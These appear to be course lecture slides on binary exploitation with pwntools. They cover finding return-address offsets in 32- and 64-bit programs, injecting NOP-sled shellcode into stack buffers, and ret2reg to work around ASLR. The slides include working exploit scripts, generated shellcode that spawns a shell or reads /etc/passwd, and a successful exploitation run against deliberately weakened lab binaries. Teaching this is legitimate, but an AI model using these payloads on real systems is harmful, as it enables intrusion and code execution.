64 Bit, Shellcode, and Ret2Reg

Introduction

Introduction

  • Continue building Pwntools knowledge
  • Start to defeat some protections

Topics

  • Going 64 Bit
  • Classic Shellcode
  • Ret2Reg

32 Bit Exploits

Build on last week

  • Last week the program gave you IP
  • That wont usually be the case

Strategy for finding IP

  • Feed the program cyclic input
  • Attach in GDB
  • Examine IP when the Segfault happens

Demo

  • In Github
  • /6048_Labs/Topic5_Ret2Reg/Task1_Ret2Win

Demo: Pwntools test harness

  • Use code to leak the offset
  • Use GDB to examine offset

Demo Code


from pwn import *

log.info("Start Process")
p = process("./ret2win32")

# Pause to allow GDB to connect
pause() #Need to stop to attach to GDB

# Read data from the buffer
out = p.readuntil(">")
log.info("%s", out)

# Send input
p.writeline(cyclic(500))

# Needed of script exits
p.interactive()

Better? Demo Code


from pwn import *

log.info("Start Process")
p = gdb.process("./ret2win32", "continue")

# Read data from the buffer
out = p.readuntil(">")
log.info("%s", out)

# Send input
p.writeline(cyclic(500))


p.interactive()

Looking In GDB for cyclic


─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win32", stopped 0xf3ab9da6 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf3ab9da6 → cmp BYTE PTR [eax], dh
[#1] 0xf3a5ea48 → add esp, 0x10
[#2] 0xf3a5f112 → mov DWORD PTR [esp], ebx
[#3] 0xf3a542b9 → printf()
[!] Cannot access memory at address 0x64616169
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

Lookup Cyclic

$ cyclic -l 0x64616169                                                                                ✖ ✹ ✚ ✭main
332

Or in Code

OFFSET = cyclic_find(0x64616169)

Confirm Offset script


from pwn import *

OFFSET = cyclic_find(0x64616169)
log.info("Offset is %s", OFFSET)

log.info("Start Process")
p = process("./ret2win32")

pause() #Need to stop to attach to GDB

# Read data from the buffer
out = p.readuntil(">")
log.info("%s", out)

# Send input
payload = b"A"*OFFSET
payload += b"BBBB"
p.writeline(payload)

p.interactive()

Confirm Offset GDB


─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win32", stopped 0xf70b9d8f in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf70b9d8f → cmp BYTE PTR [eax], dh
[#1] 0xf705ea48 → add esp, 0x10
[#2] 0xf705f112 → mov DWORD PTR [esp], ebx
[#3] 0xf70542b9 → printf()
[!] Cannot access memory at address 0x42424242
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

64 Bit Exploits

64 Bit Memory

  • Memory addresses are 64 Bit
  • Only 47 Bits are user addressable
  • Anything over 0x00007fffffffffff raises exception

64 Bit Problems

  • Main Issue (at the moment) is finding Offset to IP
  • Write n*‘A’ get 0x41414141…..
  • Goes beyond the 0x00007….. Address allowed

Finding IP in 64 Bit

────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "a.out", stopped 0x4011fb in copyData (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011fb → copyData()
───────────────────────────────────────────────────────────────────────────────────────
gef➤  x $rip
0x4011fb <copyData+133>:        0x894855c3
gef➤  

Finding IP

  • Make use of the say the stack frame is setup
    • SP may point directly to the address
    • BP may point to -4 / -8 bits

Checking in GDB


[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fff03f43b80  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[.
..]"
$rbx   : 0x636161626361617a ("zaacbaac"?)
$rcx   : 0xb
$rdx   : 0xfffef8ff
$rsp   : 0x00007fff03f43c58  →  "eaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqa[.
..]"
$rbp   : 0x6361616463616163 ("caacdaac"?)
$rsi   : 0x00007fff03f43d7f  →  "cwaacxaacyaa"
$rdi   : 0x00007fff03f43c9f  →  "cwaacxaacyaa"
$rip   : 0x000000000040122e  →   ret
$r8    : 0x73
$r9    : 0x1
$r10   : 0x000070390c35ad10  →  0x000f001a00004677 ("wF"?)
$r11   : 0x000070390c4aed70  →   endbr64
$r12   : 0x0
$r13   : 0x00007fff03f43ef8  →  0x00007fff03f4428a  →  "CREDENTIALS_DIRECTORY=/run/cr
edentials/getty@tty1.[...]"
$r14   : 0x000070390c5a7000  →  0x000070390c5a82e0  →  0x0000000000000000
$r15   : 0x0000000000403df0  →  0x0000000000401150  →   endbr64
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virt
ualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff03f43c58│+0x0000: "eaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqa[...]
← $rsp
0x00007fff03f43c60│+0x0008: "gaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsa[...]"
0x00007fff03f43c68│+0x0010: "iaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacua[...]"
0x00007fff03f43c70│+0x0018: "kaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwa[...]"
0x00007fff03f43c78│+0x0020: "maacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacya[...]"
0x00007fff03f43c80│+0x0028: "oaacpaacqaacraacsaactaacuaacvaacwaacxaacyaa"
0x00007fff03f43c88│+0x0030: "qaacraacsaactaacuaacvaacwaacxaacyaa"
0x00007fff03f43c90│+0x0038: "saactaacuaacvaacwaacxaacyaa"
──────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401228    nop
     0x401229    mov    rbx, QWORD PTR [rbp-0x8]
     0x40122d    leave
 →   0x40122e    ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────── source:ret2winTwo.c+27 ────
     22  void copyData(char* readBuffer){
     23
     24    char buffer[BUFFER];
     25
     26    strcpy(buffer, readBuffer);
 →   27  }
     28
     29  int main(int argc, char* argv[]){
     30
     31      //Pointer to the lose function
     32      void (*fp)(void) = lose;
──────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2win64", stopped 0x40122e in copyData (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40122e → copyData(readBuffer=0x6261617362616172 )
─────────────────────────────────────────────────────────────────────────────────────
gef➤  x $rsp
0x7fff03f43c58: 0x63616165
gef➤

Offset

  • First 4 bytes (high part) of RSP
    • 0x63616165

Confirming

  • We confirm by using OFFSET + “BBBB”
  • If 0x42424242 ends in IP we are good to go

Demo

Demo

And Plumbing into Ret 2 Win

  • Use Reversing to find address to jump to.

Classic Overflow

Classic Overflow

  • Shellcode Injection
  • Aleph One Style

Classic Overflow

  • Compile with following:
    • No PIE
    • No Canaries
    • Executable Stack

Classic Approach

Inject

Classic Pwn Script

from pwn import *

#Binary we are Exploiting
TARGET = "ret2reg"

# Setting the Context means Shellcode will be generated correctly
context.binary = TARGET

Finding the Offset

DEMO CODING

Confirm Offset

from pwn import *

TARGET = "./ret2reg"

# Setting the Context means Shellcode will be generated correctly
context.binary = TARGET

#Calculate offset
OFFSET_STR = 0x62616176
OFFSET = cyclic_find(OFFSET_STR)

#Start Process
p = process(TARGET)

# Connect via GDB
pause()

#Fill Buffer with A's  IP should be BBBB
payload = b"A"*OFFSET
payload += b"BBBB"

#Send data and wait
p.writeline(payload)

p.interactive()

Shellcode

Shellcode

  • So Called as it drops a shell (or does other stuff)
  • Generated using the shellcraft functionality in pwn tools

Shellcode

  • Pwntools Shellcraft
  • MSFVenom
  • Shellstorm
  • Hand Rolled

Shellcode

#Important, otherwise we get 32 bit Code
context.binary = TARGET

# /bin/sh shellcodes
shellcode = shellcraft.sh()

#Or run a command
shell = shellcraft.execve(path="/bin/cat", argv=["/bin/cat", "/etc/passwd"])

Things to Check

# Check the size of the code.
In [3]: len(asm(shell))
Out[3]: 44

# Look for Magic Bytes
In [6]: print(enhex(asm(shell)))
6a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a0b58cd80

Building Payload

Payload Concept

Building Payload

Payload Without NOPS

Building Payload

Payload NOP Sled

Building Payload

#Store NOP
NOP = asm(shellcraft.nop())

#NOPS Below Shell
payload = NOP*51

#Payload itself
payload += asm(shellcraft.sh())

# Fill the rest of buffer with NOP
payload = payload.ljust(OFFSET, NOP)

Calculating Jump Address

Calculating Jump Address

  • We Need an address to jump to
  • “Traditionally” work out the structure of the stack to get address
  • ASLR prevents this

Calculate Jump Address

  • With ASLR turned off.
  • Look at addresses in GDB

Turn off ASLR in PWN

#Start Process
p = process(TARGET, aslr=False)

Test with “BBBB” in IP

#Payload itself
payload += asm(shellcraft.sh())

# Fill the rest of buffer with NOP
payload = payload.ljust(OFFSET, NOP)

payload += b"BBBB"

Get Address from GDB

─────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf20│+0x0000: 0x9090909090909090   ← $rsp
0x00007fffffffdf28│+0x0008: 0x9090909090909090
0x00007fffffffdf30│+0x0010: 0x9090909090909090
0x00007fffffffdf38│+0x0018: 0x9090909090909090

Update Payload

NOP = b"\x90"
NOP = asm(shellcraft.nop())
payload = NOP*80
payload += asm(shellcraft.sh())
payload = payload.ljust(OFFSET, NOP)

log.info("Payload length %s", len(payload))
payload +=p64(0x00007fffffffdf20)

Win

dang@danglaptop ~/Github/Teaching/6048_Labs/Ret2Reg/demo$ python solve.py
[*] '/home/dang/Github/Teaching/6048_Labs/Ret2Reg/demo/ret2reg'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] OFFSET is 184
[!] Could not find executable 'ret2reg' in $PATH, using './ret2reg' instead
[+] Starting local process './ret2reg': pid 24416
[!] ASLR is disabled!
[*] Paused (press any to continue)
[*] Payload length 184
[*] Switching to interactive mode
--- Overflow the Buffer ---
What is your input >You entered >\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90jhH\xb8/bin///sPH\x89\xe7hri\x814$1\xf6V^H\xe6VH\x89\xe61\xd2j;X\x0f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \xdf\xff\xff\xff\x7f<
$ 
$ id
uid=1000(dang) gid=1000(dang) groups=1000(dang),56(bumblebee),977(docker),987(uucp),998(wheel)
$

Ret2Reg

Ret2Reg

  • Problems:
    • ASLR randomises hard coded address
  • Solution:
    • Try to find address in another way

Ret2Reg

  • Payload location is stored in registers
  • Find a call in Binary to go to the register location

Ret2Reg

Ret2Reg

Ret2Reg

  • Find Registers in GDB
  • Look for ASM instructions in binary
$ objdump -D ret2reg| grep ax  | grep call
401014:       ff d0                   call   *%rax
402073:       ff 9c 00 00 00 b0 f1    lcall  *-0xe500000(%rax,%rax,1)

Ret2Reg

  • Update Payload and Win

Summary

64 Bit

  • Mostly around finding IP
    • Use SP / BP
  • Other Differences Later.

Classic Overflows

  • Stick exploit in our buffer
  • Jump back to payload using IP
  • Needs NX turned off

Ret2Reg

  • One approach to deal with ASLR in Classic
  • Jump to Register using a static assembly call.

Tasks

  • Replicate the exploits